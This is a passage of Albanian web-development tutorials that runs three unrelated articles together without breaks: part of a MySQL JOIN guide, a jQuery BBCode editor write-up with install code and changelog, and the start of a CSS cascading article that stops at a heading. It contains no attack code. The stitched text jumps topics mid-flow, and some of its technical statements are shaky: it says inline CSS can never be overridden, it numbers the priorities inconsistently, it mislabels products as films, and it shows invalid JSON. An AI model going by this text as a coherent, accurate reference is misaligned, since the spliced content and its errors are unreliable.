Bashkim i kryqëzuar (Prodhimi Kartezian) ndodh kur nuk përcaktohet një kolonë e përbashkët. Në këtë rast, secili rresht i tabelës së parë bashkohet me të gjithë rreshtat e tabelës së dytë, për një rezultat që përmban [numrin e rreshtave të tabelës 1] x [numrin e rreshtave të tabelës 2]. Pra, nëse do kishim një tabelë me 5 rreshta që bashkohet me një tjetër që ka 7 rreshta, rezultati do të ishte një tabelë me 35 rreshta.

Sintaksa është shumë e thjeshtë dhe në të njëjtën vijë do vazhdojnë edhe bashkimet e tjera. Po ju jap katër query që bëjnë egzaktësisht të njëjtën gjë: bashkim të kryqëzuar. Query e fundit është mënyra më e thjeshtë për ta shkruar, sepse heq përdorimin e fjalëve kyçe JOIN, CROSS JOIN apo INNER JOIN.

SELECT * FROM tabela1 JOIN tabela2;
SELECT * FROM tabela1 CROSS JOIN tabela2;
SELECT * FROM tabela1 INNER JOIN tabela2;
SELECT * FROM tabela1, tabela2

Për të vënë në punë tabelat që kam krijuar për shembujt, do shkruaj një query që kryqëzon të dhënat në tabelat që kemi:

SELECT * FROM produktet, blerjet;

Query e mësipërme do të shfaqë rezultatet sipas figurës më poshë:

Rezultatet e një bashkimi të kryqëzuar

Bashkimi në një Pikë

Forma tjetër e përdorimit të një JOIN është duke përcaktuar një pikë prerjeje. Në këtë rast, rezultat do të ishin vetëm të dhënat e të dyja tabelave që plotësojnë kushtin. Mbani mend më lart ku ju përmenda PRIMARY KEYS dhe FOREIGN KEYS? Pikërisht këtu hyjnë në lojë. Që dy tabela të bashkohen në një pikë, duhet që të kenë fusha të përbashkëta dhe praktika e mirë sugjeron çelësat.

Sintaksa ndryshon pak nga shembulli i mësipërm sepse tani do na duhet të përcaktojmë kushtin. Përsëri do ju jap katër query që bëjnë egzaktësisht të njëjtën gjë. Cilën zgjidhni të përdorni mbetet në preferencat tuaja personale.

SELECT * FROM tab1 JOIN tab2 ON tab1.id=tab2.id;
SELECT * FROM tab1 CROSS JOIN tab2 ON tab1.id=tab2.id;
SELECT * FROM tab1 INNER JOIN tab2 ON tab1.id=tab2.id;
SELECT * FROM tab1, tab2 WHERE tab1.id=tab2.id

Duhet të jetë e qartë tashmë. Çfarë kërkohet nga një query e tillë janë rreshtat nga të dyja tabelat ky ID-të (apo çdo fushë tjetër që përcaktohet) janë të njëjta.

Përsëri do shohim një tjetër shembull me tabelat që kemi, ku do ti bashkoj në një pikë. Do të shihni përdorimin e një fjale kyçe: AS. Nuk bën asgjë më tepër se sa i vendos një emër tabelave ose kolonave për të ma lehtësuar shkrimin e kodit. Në vijim të guidës, do e përdor AS në pothuajse çdo query.

SELECT p.emri, p.cmimi, b.DATA FROM produktet AS p
INNER JOIN blerjet AS b
ON p.id=b.prod_id;

Nuk besoj të duket e komplikuar dhe ndryshe nga sintaksa bazë. Pra, kam zgjedhur të gjithë rreshtat ku produtet.id = blerjet.prod_id. Kjo më vlen sepse vetëm me një query nxjerr raportin se cilat produkte janë shitur.

Personalisht më pëlqen të përdor INNER JOIN sepse është semantikisht më kuptim-plotë se sa dy fjalët e tjera kyçe dhe më e lexueshme për ta dalluar nga tipet e tjera të bashkimeve. Megjithatë, kjo është tërësisht shija ime personale. Zgjidhni atë që ju pëlqen.

Në figurën më poshtë është rezultati i query-t të mësipërme. Vini re që rreshti i produktit “Kompjuter” nuk shfaqet! Kjo sepse nuk ka asnjë shitje për të dhe si rrjedhim nuk ka asnjë rresht në tabelën e blerjeve që mban ID-në e tij.

Rezultatet e një bashkimi në një pikë

STRAIGHT_JOIN

Gjatë bashkimeve me INNER JOIN, MySQL tenton të përcaktojnë renditjen e skanimit të të dhënave në tabela që rezultati të jetë sa më optimal dhe i shpejtë në të njëjtën kohë. Kjo funksionon mirë, përveç disa rasteve të rralla ku mund të gabojë. Në ato raste, hyn në lojë STRAIGHT_JOIN.

SELECT * FROM tabela1 STRAIGHT_JOIN tabela2;

Pra, atëherë kur rezultatet e një INNER JOIN nuk janë ato që prisni, provoni STRAIGHT_JOIN.

LEFT OUTER JOIN

Deri tani kemi parë kategorinë “INNER” të bashkimeve, të cilat prejnë tabelat dhe shfaqin vetëm të dhënat që ndodhen në të dyja. LEFT OUTER JOIN – mund të shkruhet edhe pa pjesën “OUTER” – është shumë e ngjashme me INNER JOIN. Edhe ajo bën bashkimin e tabelave në një pikë, por ndryshe nga INNER JOIN, shfaq edhe rezultatet e tabelës së majtë që nuk kanë pikë prerje me ato të tabelës së djathtë. Kahet majtas apo djathtas përcaktohen në bazë të vendosjes së tabelave në query relativisht me fjalën kyçe “LEFT JOIN”. Ju kuptoj nëse jeni konfuzë në këtë pikë, prandaj do kaloj në shembuj.

Pseudo-sintaksa e një LEFT JOIN shfaqet më poshtë.

SELECT * FROM [tabela majtas] LEFT JOIN [tabela djathtas]...

Pra, rreshtat e [tabela majtas] do të shfaqen të gjitha, pavarësisht nëse kanë lidhje me ato të tabelës djathtas. Rreshtat e tabelës djathtas që nuk kanë lidhje me atë majtas, nuk do të shfaqen. Kjo është teoria pas LEFT JOIN dhe ndryshimi themelor midis saj dhe INNER JOIN. Tani le të shohim sintaksën e plotë.

SELECT * FROM tabela1 AS t1
LEFT JOIN tabela2 AS t2
ON t1.id=t2.id;

Asnjë ndryshim me INNER JOIN! Sintaksa e bashkimeve është praktikisht e njëjtë dhe ndryshon vetëm fjala kyçe. Si ç’ju thashë pak më sipër, pjesa “OUTER” është fakultative. Mund të shkruhet “LEFT OUTER JOIN” ose thjeshtë “LEFT JOIN”; nuk përbën asnjë ndryshim.

Ti kthehemi sërish tabelave të produkteve dhe blerjeve për të ilustruar LEFT JOIN. Në shembullin e fundit të INNER JOIN, bashkova tabelën e produkteve me atë të blerjeve për të marrë një rezultat që mbante të gjitha produktet e shitura. Mbani mend që produkti “Kompjuter” nuk ishte sepse nuk kishte asnjë shitje për të? Me LEFT JOIN kjo do të ndryshojë.

SELECT * FROM produktet AS p
LEFT JOIN blerjet AS b
ON p.id=b.prod_id;

Rezultati i query-t të mësipërme shfaqet në figurën më poshtë.

Rezultatet e një bashkimi me LEFT JOIN

Duke qenë se produkti “Kompjuter” nuk ka asnjë rresht ekuivalent në tabelën e blerjeve, kolonat që i përkasin asaj tabele nuk kanë si të kenë vlerë dhe rrjedhimisht shënohen “NULL”. Nëse produkti “Kompjuter” do të kishte të paktën një blerje, në atë rast rezultatet e LEFT JOIN do të ishin identike me INNER JOIN. Ndryshimi egziston vetëm kur tabela e majtë ka rreshta që nuk reflektohen në tabelën e djathtë.

RIGHT OUTER JOIN

RIGHT JOIN është identik me LEFT JOIN, por këtu shfaqen rreshtat e tabelës së djathtë që nuk kanë referencë në tabelën e majtë. Logjika e funksionimit dhe sintaksa janë identike, prandaj do kaloj direkt në një shembull me tabelat tona.

Në tabelën e blerjeve kam një rresht (ai i fundit) që përcakton një blerje për një produkt që nuk egziston në tabelën e shitjeve. Normalisht, atë rresht se kemi parë deri tani sepse nuk kishte si të shfaqej as në INNER JOIN dhe as në LEFT JOIN. Por, do na shfaqet në një RIGHT JOIN!

SELECT * FROM produktet AS p
RIGHT JOIN blerjet AS b
ON p.id=b.prod_id;

Rezultati i query-t të mësipërme shfaqet në figurën më poshtë. Vini re rreshtin e fundit që ashtu si tek LEFT JOIN, ka vendosur NULL tek kolonat e tabelës së produkteve, duke qenë se nuk ka prerje midis tyre.

Rezultatet e një bashkimi me RIGHT JOIN

Komanda USING

USING është një fjalë kyçe ndihmëse për bashkimet dhe mund të përdoret në të gjitha tipet që kemi përmendur deri tani. Ofrohet thjeshtë si një rrugë e shkurtër për bashkime që ndodhin në kolona me emër të njëjtë. Ndryshimi i vetëm midis përdorimit të USING dhe ON (si në query-it deri tani) është se nuk shfaqen të gjitha kolonat me të njëjtin emër, por vetëm një prej tyre. Pra, nëse tabelat priten në kolonat “id”, vetëm kolona e njërës tabelë do të shfaqet. Kjo vjen thjeshtë për të mënjanuar problemet në aksesimin e kolonave me të njëjtin emër.

Shihni query-t më poshtë me përdorimet e saj në disa tipe bashkimesh.

SELECT * FROM tabela1 INNER JOIN tabela2 USING(id);
SELECT * FROM tabela1 STRAIGHT_JOIN tabela2 USING(id);
SELECT * FROM tabela1 LEFT JOIN tabela2 USING(id);
SELECT * FROM tabela1 RIGHT JOIN tabela2 USING(id);

Në rastet e mësipërme kam supozuar që bashkimet ndodhin në kolonat ID të të dyja tabelave dhe si rrjedhim do kisha mundësinë të përdorja USING. Nëse kolonat do kishin emra të ndryshëm, USING s’do të kishte efekt. Në rastin e tabelave tona të produkteve dhe blerjeve është e pamundur të përdoret USING me emrat e kolonave që kam përcaktuar (produktet.id dhe blerjet.prod_id).

Personalisht nuk e përdor sepse stili im i emërimit të kolonave është i tillë ku çdo tabelë e ka çelësin primar ID dhe si rrjedhim është e pamundur të përdorësh USING. Disa preferojnë që çelësin primar ta emërojnë më me kuptim (psh: prodID) dhe vendosin të njëjtin emër në çelësin e huaj. Në ato raste, USING do ishte zgjidhje e mirë. Varet tërësisht nga stili juaj personal.

NATURAL JOIN

NATURAL JOIN është një formë speciale e ndërtimit të bashkimeve që i analizon automatikisht tabelat për emra të njëjtë kolonash dhe përdor ato kolona për të kryer bashkimin. Nëse tabelat nuk kanë asnjë kolonë me emër të njëjtë, rezultati do të jetë një “bashkim i kryqëzuar” si në shembullin e parë të guidës. Në rast se gjenden (një apo më shumë), prerja do të kryhet në ato kolona me të njëjtën logjikë si në bashkimet që kemi parë deri tani.

Po ju tregoj fillimisht disa shembuj sintaksorë të NATURAL JOIN, duke supozuar që tabela1 dhe tabela2 kanë kolona të përbashkëta.

SELECT * FROM tabela1 NATURAL JOIN tabela2;
SELECT * FROM tabela1 NATURAL LEFT JOIN tabela2;
SELECT * FROM tabela1 NATURAL RIGHT JOIN tabela2;

Si ç’e shihni, kjo është forma më e shkurtër për të bashkuar tabela sepse mënjanon përdorimin e ON ose USING. Por, anët negative, të paktën për mendimin tim, janë më të mëdha se ato pozitivet. Nëse do më duhej të listoja disa anë negative, do përmend:

• Ul lexueshmërinë! Nuk e kupton ku priten tabelat pa pare strukturën e tyre.
• Jo fleksibël! Tabelat duhet të kenë të njëjtat emra kolonash, gjë që jo gjithmonë ndodh.
• Të vështira për tu mirëmbajtur. Nëse ndërron emrat e kolonave në një tabelë, ndryshimi duhet të reflektohet edhe në tabelat e tjera. Nëse harron, duhet vetëm të hamendësosh pse i gjithë aplikacioni s’punon. Lidhe edhe me pikën e parë dhe kohë të errëta ju presin.

FULL OUTER JOIN

FULL OUTER JOIN është një tip bashkimi që merr funksionalitetet e LEFT dhe RIGHT JOIN. Pra, bashkohen rezultatet, por në të njëjtën kohë shfaqen edhe rreshtat që nuk përputhen nga të dyja tabelat. MySQL nuk ofron një JOIN të tillë (RDBMS të tjera po), por mund të shkruhet me pak kod më tepër.

Më poshtë do të shkruaj një kod që përmban dy query egzaktësisht si në rastet e ilustruara në LEFT JOIN dhe RIGHT JOIN. Ndryshimi është se do i bashkoj bashkë me UNION.

SELECT * FROM produktet AS p
LEFT JOIN blerjet AS b
ON p.id=b.prod_id
 
UNION
 
SELECT * FROM produktet AS p
RIGHT JOIN blerjet AS b
ON p.id=b.prod_id;

S’ka asgjë të komplikuar. UNION thjeshtë bashkon dy selektimet: njëri LEFT JOIN dhe tjetri RIGHT JOIN. Në fund, rezultati që do të marr është si në tabelën më poshtë.

Rezultatet e një FULL OUTER JOIN

Bashkimet e më Shumë se dy Tabelave

Bashkimet mbeten të njëjta, si për dy tabela, si për 100. Kuptohet, sa më shumë tabela në një query, aq më komplekse bëhet. Megjithatë, në bazë bashkimet kryhen me të njëjtin koncept. Le të marrim rastin e INNER JOIN dhe bashkimin e tre tabelave.

SELECT * FROM tabela1 AS t1
INNER JOIN tabela2 AS t2
ON t1.id=t2.id
INNER JOIN tabela3 AS t3
ON t2.id=t3.id;

Thjeshtë kam shtuar INNER JOIN dhe ON në të njëjtën formë si ç’bëra për bashkimin e dy tabelave. Për ta bërë më konkret seksionin, do ju ilustroj bashkimin e tre tabelave me ato që kemi: “produktet” dhe “blerjet”. Do na duhet edhe një e tretë, kuptohet. Mendova të shtoj një tabelë të re “kthimet” që mban produktet e blera, por të kthyer. Nuk është shumë realist si skenar, por shërben mirë si shembull.

================
Tabela "kthimet"
================
id	bler_id		data
1	3		2011-09-25
2	5		2011-09-22

Kolona “bler_id” referencon ID-në e tabelës “blerjet”. Kam tre tabela që kanë lidhje me njëra tjetrën, kështu që mund ti bashkoj fare lehtë.

SELECT * FROM produktet AS p
INNER JOIN blerjet AS b
ON p.id=b.prod_id
INNER JOIN kthimet AS k
ON b.id=k.bler_id;

Rezultati do të përmbajë filmat e blerë, por që janë kthyer. Ajo që ndodh në proçesim nga MySQL është sekuenciale. Fillimisht merret bashkimi i “produktet” me “blerjet” për të nxjerrë rezultatin dhe në fund, ky rezultat bashkohet me “kthimet” për të nxjerrë bashkimin përfundimtar. Tabela e përftuar me query-n e mësipërme do të ngjajë si më poshtë.

Rezultati i bashkimit të tre tabelave

Veprimet Tipike me Tabela të Bashkuara

Ashtu si veprimet me një tabelë, edhe me tabela të bashkuara mund të kryhen veprime tipike si numërim, maksimum, minimum, etj. S’duhet të ketë asgjë të re këtu që nuk e kam shpjeguar në guidat e mëparshme, por do ju jap një shembull thjeshtë për t’ju bërë më familjar me bashkimet.

Në query-n më poshtë kam përdorur një kombinim të disa prej komandave që ju kam mësuar deri tani. Ajo që dua të bëj është të marr një raport ku më tregohet sa blerje janë bërë për secilin produkt (GROUP dhe COUNT) dhe rezultatet dua ti rendis numrit të blerjeve në rend zbritës.

SELECT p.emri, p.cmimi, COUNT(p.id) AS blerje_total
FROM produktet AS p
INNER JOIN blerjet AS b
ON p.id=b.prod_id
GROUP BY p.id
ORDER BY blerje_total DESC;

Rezultati shfaqet në figurën më poshtë.

Rezultati i një query me disa komanda

Përfundimi

Ma merr mendja se ka qenë pak intensive si guidë, sidomos për ata që nuk kanë punuar ndonjë herë me JOINs. E rëndësishmja është që në tërë këtë informacion të keni përftuar njohuritë e duhura rreth bashkimit të tabelave, të keni kuptuar se janë të domosdoshme dhe ti vini në përdorim në projektet tuaja. Krahas shkurtimit të kodit, JOINs janë më të optimizuara në marrjen e informacioneve nga disa tabela në krahasim me bërjen e disa query të ndryshme.

Sigurohuni të provoni kodet që kam dhënë më sipër dhe të eksperimentoni me to. Bëni dallimet midis INNER, LEFT dhe RIGHT JOIN duke provuar me tabela të vërteta dhe tentoni të shtoni edhe komanda të tjera për të kryer veprime më specifike. Në fund, ato që duken komplekse nga larg, mbeten praktika të thjeshta që duan vetëm pak eksperiencë.

Me ato që keni përftuar deri tani me leksionet mbi MySQL, duhet të jeni të gatshëm të bëni query goxha të avancuara. Megjithatë, kanë mbetur akoma plot për t’ju treguar. Për t’ju përmenduar disa tema që me siguri do të jenë në guidat e ardhmshme: datat dhe ora, manipulimi i teksteve, veprime matematikore, subqueries, kontrolli i rrjedhjes (if() dhe case()), etj. Shihemi në guidat e ardhshme.

Mësim të mbarë.

Kini parasysh që po flasim për një editor në të cilin formatimet shkruhen si BBCodes dhe jo një editor WYSIWYG (i tipit të TinyMCE, FCK, etj). Mund të përdoret fare lehtë për forume, forma komentesh apo çfarëdo sistemi ku doni të ofroni formatime bazë, pa e ngarkuar me editorë të komplikuar. Gjithashtu, mbani mend që ky është editor Javascript dhe nuk bën përpunimet e KodeveBB. Këtë të fundit e ka në dorë një gjuhë nga kahu i serverit (si PHP). Kam shkruar një guidë pikërisht për këtë temë këtu në Feniksi: Sistem KodiBB dhe Qeshjesh me PHP. Me të dy këto artikuj do keni një sistem tërësisht funksional.

Përpara gjithçkaje, më duhet të falenderoj pjesëmarrësit e projektit Simplium për idetë dhe mbështetjen për këtë editor, por akoma më tepër për vetë projektin. Një falenderim i veçantë i shkon Gëzim Osmanit për krijimin e Smileys aq interesante posaçërisht për këtë editor.

Versioni aktual është 1.1. Pasi të shtohen opsione të reja, të pastrohen bugs apo të bëhen rifaktorime në kod, rrjedhimisht versioni do të inkrementohet dhe do të pasqyrohet në titullin e artikullit. Gjithashtu, në fund të artikullit do të shkruaj të dhëna për përmirësimet e çdo versioni.

Editori në Veprim

Përdorimi është shumë i thjeshtë, edhe nga ata që s’kanë eksperiencë me editorë të tillë. KodetBB janë të kuptueshëm dhe ikonat që përfaqësojnë veprimet gjithashtu. Më poshtë mund të shihni 2 pamje të editorit: 1) Pamja fillestare, pa përmbajtje dhe 2) Një tekst i formatuar dhe menuja e Qeshjeve. Qëllimi ishte të krijoja një editor të thjeshtë, por të bukur për ta parë. Shpresoj t’ju pëlqejë grafikisht.

Pamje nga Editori

Pamje nga Editori

Opsionet

Për të qenë një projekt individual që nuk e ka parë kurrë dritën e diellit, mund të them që është i pasur me opsione. Megjithatë, jam i sigurt që me sugjerimet tuaja mund të pasurohet akoma më shumë.

Editori ofron:

• Ndërfaqe e bukur dhe intuitive.
• KodeBB për formatimet tipike si: Bold, Italic, Underline, URL, etj.
• Kode speciale për madhësinë e gërmës dhe ngjyrën.
• Qeshje me ikona të personalizuara.
• Shkurtime përmes butonave CTRL ose CMD (Mac): CTRL+B, CTRL+I, CTRL+U dhe CTRL+L.
• I zmadhueshëm vertikalisht (vetëm Chrome, Firefox dhe Safari).
• Grafika mund të ndryshohet tërësisht përmes Shablloneve (skins).
• Skedarë gjuhe për lokalizim të thjeshtë.
• Opsione inicjalizimi që vendosen në deklarimin e editorit.
• I shkruar si një sistem modular (përmes literalëve në JS) për zgjerim sa më të lehtë.
• Fare i thjeshtë të integrohet në faqe/aplikacione egzistuese.

Prapaskena e Editorit

Editori është i gjithi i shkruar në Javascript, sigurisht duke përdorur jQuery. Krahas tij, kam përdorur edhe një plugin për jQuery të quajtur “rangyinputs” që ofron lehtësira në marrjen dhe vendosjen e kursorit në fushën e shkrimit. Kjo është pjesë problematike për tu koduar vetë, sepse duhet siguruar suporti nga shfletues të ndryshëm dhe realisht nuk ja vlente puna. Plugini është vetëm 4KB, ndërsa libraria jQuery 90KB.

Kodi Javascript i editorit është i tëri i shkruar në formë objektesh, ose të paktën më e afërta që mund të bëhet: duke përdorur Object Literals. Këto të fundit janë thjeshtë një tabelë çelësash dhe vlerash (si një vektor), por ku si vlera mund të shkruhen edhe funksione. Javascript është gjuhë e fuqishme dhe kodimi me literalë është mënyra më e mirë për të ndërtuar një sistem modular. Ajo që çalon pak është fakti se kur e kam shkruar, nuk kam qenë (dhe s’jam as tani!) ndonjë ekspert në Javascript. Me siguri mund të përmirësohet sistemi duke i lokalizuar metodat edhe më shumë. Aktualisht, kodi që vë në punë editorin (pa llogaritur jQuery dhe rangyinputs) është 21KB. Në kodin e shkarkimit do të gjeni gjithashtu një version të minifikuar të kodit që është kompresuar në 14KB dhe që është zgjidhja e mirë për produksion.

Logjika që e vë në punë Editorin nuk është e komplikuar. Mjafton të krijohet një <textarea> me një klasë/id të caktuar, të shkruhen 2 rreshta kod që thërrasin objektin Javascript dhe gjithçka vihet në punë. Në prapaskenë, textarea zëvendësohet me një strukturë HTML që përmban të gjithë elementët e duhur për ikonat, panelet, etj. Kodi HTML i gjeneruar ka egzaktësisht formën më poshtë:

<div id="editorWrapper">
    <div id="editorToolbar">
        <ul id="editorIcons"></ul>
        <ul id="editorSmileys"></ul>
    </div>
    <textarea></textarea>
    <div id="editorShadow">
    	<div id="shadow-left"></div>
        <div id="shadow-middle"></div>
        <div id="shadow-right"></div>
	</div>
    <ul id="editorFont"></ul>
    <div id="editorColors"></div>
    <div id="smileys-popup"></div>
</div>

Një strukturë HTML pa ndonjë komplikim; thjeshtë me elementë për secilin funksionalitet. Kam përdorur ID për praktikisht çdo gjë për ta pasur të lehtë ti referencohem me Javascript. Ndërkohë, ky kod HTML mund të dekorohet me CSS dhe editori ofron mundësinë e Shablloneve. Një instalim editori mund të përmbajë Shabllone pa fund, gjë që e bën goxha të ripërdorshëm.

Shabllonet janë skedarë të thjeshtë CSS dhe imazhe. Aktualisht Editori ka vetëm një Shabllon të quajtur “simplium”, por shtimi i të rejave është vërtetë lojë fëmijësh. Mund të përdorni skedarin CSS të shabllonit “simplium” si bazë të versioneve tuaja. Struktura e Shablloneve është si më poshtë.

Struktura e Shablloneve

Për ta mbyllur këtë seksion, më ka mbetur pa përmendur aftësia e editorit për të përdorur gjuhë të ndryshme. Bëhet fjalë për skedarë të thjeshtë Javascript ku variablat e gjuhës dhe vlera e tyre shkruhen në format JSON. Mund të shtohen gjuhë pa fund dhe mjafton të përcaktohet emri i gjuhës në inicializimin e editorit për ta vënë atë në punë. Një version i shkurtuar i skedarit aktual të gjuhës Shqipe tregohet më poshtë. Majtas ndodhen emrat statikë të variablave (nuk duhen ndryshuar), ndërsa djathtas është teksti i gjuhës. Nëse ju duhet të shtoni një gjuhë të re (psh. Anglisht), mjafton të bëni një kopje të “al.js”, ta riemëroni në “en.js” dhe në këtë skedar të ri ti përktheni variablat.

{
	"bb_bold":          "I Trashe",
	"bb_italic":        "I Pjerret",
	"bb_underline":     "Vije Poshte",
	"bb_strikethrough": "Vije ne Mes",
	"bb_seperator":     "Ndares",
	"bb_bullets":       "Liste e Parenditur",
	"bb_numbers":       "Liste e Renditur",
	"bb_item":          "Element Liste",
	"bb_link":          "Lidhje",
	"bb_picture":       "Foto",
	"bb_video":         "Video Youtube",
	"bb_quote":         "Citim",
	"bb_code":          "Kod",
	"bb_font":          "Teksti",
	"bb_color":         "Ngjyra",
}

Si Instalohet Editori

Instalimi i versionit bazë, pa parametra është tmerrësisht i thjeshtë. Ju mjafton të përfshini disa skedarë dhe të shkruani pak rreshta Javascript.

1. Përfshini skedarin CSS të shabllonit

<link rel="stylesheet" type="text/css" href="editor/skins/simplium/editor.css" />

2. Përfshini jQuery dhe Editor.js

<script type="text/javascript" src="editor/jquery/jquery.js"></script>
<script type="text/javascript" src="editor/editor.js"></script>

3. Nisni Editorin

<script type="text/javascript">
$(document).ready(function(){
	Editor.loadEditor();
});
</script>

4. Krijoni një <textarea>

<textarea name="permbajtja" class="editori"></textarea>

5. Gëzoni editorin e ri

Kaq e thjeshtë! Dyshoj seriozisht se do të ketë njeri probleme, por, për të qenë i sigurt, po ju jap kodin e plotë.

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Editori</title>
<link rel="stylesheet" type="text/css" href="editor/skins/simplium/editor.css" />
<script type="text/javascript" src="editor/jquery/jquery.js"></script>
<script type="text/javascript" src="editor/editor.js"></script>
<script type="text/javascript">
$(document).ready(function(){
	Editor.loadEditor();
});
</script>
 
</head>
 
<body>
<textarea name="fusha" class="editor"></textarea>
</body>
</html>

Por nuk mbaron me kaq! Editorit mund ti vendosen disa parametra gjatë thërritjes së metodës Editor.loadEditor(). Çdo parametër është opsional dhe nëse përdorni gjuhën, shabllonin dhe direktorinë si ç’i kam përdorur unë, nuk do keni probleme. Në të kundërt, do ju duhet ti vendosni. Shembulli më poshtë tregon përdorimin e të gjithë parametrave:

Editor.loadEditor({
	selector: '#editori', //Tipi i selektorit qe krijon Editore (klase ose ID).
	skin: 'emri_shabllonit', //Pamja qe do te perdoret. Duhet te kete skedar perkates ne direktorine "skins"
	width: 700, //Gjeresia e pergjithshme e Editorit (me pak se 600 prish pozicionimin e ikonave).
	lang: 'it', //Gjuha. Duhet te kete skedar perkates (xx.js) ne direktorine "lang".
	path: 'editori', //Direktoria ku editori ndodhet relative me dokumentin ku perdoret. Pa slashe (/) ne fillim dhe ne fund.	
});

Liçenca

Liçenca është e modelit GNU GPL v2 (General Public Licence). Kjo do të thotë se jeni të lirë ta modifikoni dhe shpërndani, për aq kohë se versioni që shpërndani është gjithashtu nën liçencën GNU GPL. Në terma të thjeshtë, jeni të lirë ta përdorni në projekte personale dhe komerciale, por s’mund ta shpërndani si një projekt komercial; pavarësisht se mund ta keni modifikuar rrënjësisht.

Nëse për ndonjë arsye të çuditshme jeni të interesuar ta shpërndani në formë komerciale këtë editor, jam i sigurt që do të gjejmë gjuhën e përbashkët.

Kompatibiliteti

Editorin e kam testuar personalisht në versionet e fundit të Chrome (Mac dhe Win), Firefox (Mac dhe Win), Safari (Mac dhe Win) dhe Opera (Mac dhe Win). Patjetër që është testuar edhe në Internet Explorer 6, 7, 8 dhe 9. Në të gjithë shfletuesit editori është tërësisht i përdorshëm dhe praktikisht i njëjtë. Megjithatë, ka disa probleme të vogla për shfletues specifikë:

• IE6 nuk njeh PNG-të dhe kuptohet, rregulla të CSS3 si border-radius. PNG-të mund të rregullohen, por nuk ja vlen të përdoren hack për një shfletues të lashtë.
• IE7 dhe IE8 nuk njohin border-radius.
• IE8 dhe IE9 i shfaqin pak më poshtë se ç’duhet menutë. Këtë më duhet ta shikoj sepse duhet të jetë rregullim i lehtë.
• IE6, IE7, IE8, IE9 dhe Opera nuk e njohin rregullin e CSS3 “resize”. Po mendoj ta bej zmadhimin me Javascript.

Zhvillimi i Mëtejshëm

Jam i qartë që ka editorë të tillë plot nëpër internet, por kjo s’do të thotë që s’duhet të merremi me projekte alternative. Do isha shumë i kënaqur nëse marr ndihmën tuaj për ta testuar, rregulluar dhe zhvilluar më tej editorin, për ta bërë akoma më solid dhe të përdorshëm. Qoftë kjo edhe për eksperiencë dhe për të mësuar diçka gjatë rrugës. Pra, shkruani në komente për gjithçka që mendoni se i vlen këtij projekti, përfshirë: gjetje gabimesh, probleme në shfletues të caktuar, sugjerime për përmirësimin/shkurtimin e kodit dhe opsione të reja që potencialisht mund të implementohen.

Mjafton ta shkruani qartë atë që doni të thoni, që mos të më lini të hamendësoj

Regjistri i Ndryshimeve

v1.1 – 20 Shtator 2011

• Abandonim i pluginit “caret range” për shkak të probleme dhe rifreskimit të ngadaltë. Kalim në “rangyinputs”.
• Rifaktorim i metodës catchEvents().
• Rishkrim i metodave addBBCode() dhe addSmiley() për të përdorur pluginin e ri. Kodi tani është perfekt nga ana funksionale.
• Shtim i parametrit “path” për të përcaktuar direktorinë e editorit.
• Abandonim i krijimit të HTML-së përmes funksioneve të jQuery insertAfter() dhe insertBefore(), në favor të krijimit të komplet strukturës vetëm me funksionin html().
• Abandonim i përfshirjes se skedarit CSS përmes Javascript, sepse nuk funksionon në Internet Explorer. Tani skedari CSS thërritet normalisht brenda dokumentit HTML.
• Marrja e atributit “name” të <textarea> të krijuar dinamikisht nga textarea origjinale.
• Shtim i mundësisë për të zgjeruar editorin vertikalisht përmes CSS3: “resize: vertically;”.

Përpara se të kaloj tek pesha e selektorëve (që në Anglisht quhet Specificity), më duhet t’ju shpjegoj konceptin e Cascading – C tek CSS – sepse kanë lidhje direkte me njëra tjetrën, duke qenë se përcaktojnë kush shprehje ka prioritet më të lartë.

Çfarë është Cascading?

Në CSS ofrohen disa mënyra për të shkruar rregulla. Edhe pse përdorimi i një dokumenti të jashtëm është më i këshilluari për të ndarë prezantimin nga dekorimet, sërisht mbetet fakti që alternativa egzistojnë. Çështja është se secila alternativë ka prioritet, që do të thotë se egzekutohet e fundit dhe mbivendos çdo rregull të shkruar më parë. Shembujt janë mënyra më e mirë për t’ju qartësuar mendimet. Më poshtë do ju tregoj mënyrat e ndryshme për të shkruar CSS, shpjegimin për secilën dhe prioritetin që kanë.

Kini parasysh që mbivendosja ndodh në rastet kur gjenden shprehje që zgjedhin të njëjtët grup elementësh. Pra, nëse shkruhen 2 shprehje në metoda të ndryshme që vendosin rregulla për paragrafet, atëherë do ndodhë mbivendosje. Por, nëse shprehja e parë zgjedh një <div>, ndërsa shprehja e dytë një paragraf, nuk ka çfarë mbivendosje të ndodhë.

Dokument i jashtëm CSS – Prioriteti 0
Kjo është mënyra tipike e shkrimit të rregullave CSS dhe si ç’thashë më sipër, më e këshilluara. Dekorimet CSS janë të ndara nga prezantimi HTML dhe më e mira, mund të ripërdoren në dokumenta të ndryshëm. Prioriteti i dokumentit të jashtëm është 0, që do të thotë se rregullat e tij mund të mbivendosen nga metoda të tjera, ndërsa vetë ai s’mund të mbivendosë asnjë.

Në një skedar të jashtëm (psh: stilet.css):

p { font-size:14px; color:red; }

Në dokumentin HTML, brenda <head> vendoset thërritja:

<link rel="stylesheet" type="text/css" media="screen" href="stilet.css" />

Çdo paragraf do të ketë madhësi gërme 14px dhe ngjyrë të kuqe.

Rregulla të brendshme – Prioriteti 1
Rregullat e brendshme shkruhen në dokumentin HTML, brenda <head> dhe kanë prioritet 1. Kjo do të thotë se mund të mbivendosen nga metoda të tjera, por gjithashtu mund të mbivendosin rregullat e dokumentit të jashtëm.

<style type="text/css">
p { font-size:20px; }
</style>

Çdo paragraf do të ketë madhësi gërme 20px. Ngjyra do të mbetet e pandryshuar sepse është përcaktuar në dokumentin e jashtëm dhe nuk është mbivendosur nga rregullat e brendshme.

Rregulla në rresht – Prioriteti 3
Rregullat në rresht shkruhen si atribute të elementëve HTML dhe janë specifike të atij elementi. Prioriteti i tyre është maksimal, që do të thotë se mund të mbivendosë çdo rregull tjetër, por asnjë s’mund ta mbivendosë atë.

<p>Paragraf.</p>
<p style="font-size:11px; color:blue;">Nje tjeter paragraf.</p>

Paragrafi i parë do mbetet i pandryshuar: me madhësi gërme 20px (nga rregulli i brendshëm) dhe ngjyrë të kuqe (nga rregulli i jashtëm). Në paragrafin e dytë kam shkruar rregulla në rresht që mbivendosin çdo rregull tjetër të shkruar nga metodat e para. Përfundimisht, paragrafi i dytë të të ketë madhësi gërme 11px dhe ngjyrë blu.

Kjo është Cascading, prioriteti i rregullave. Prioritetin më të ulët e kanë dokumentat e jashtëm, ndërsa më të lartin rregullat në rresht. Është e rëndësishme ta keni kuptuar këtë seksion sepse është baza e peshës së selektorëve. Në fakt, pesha përfshihet në Cascading, gjë që sqaron natyrën e CSS.

Pesha e Selektorëve

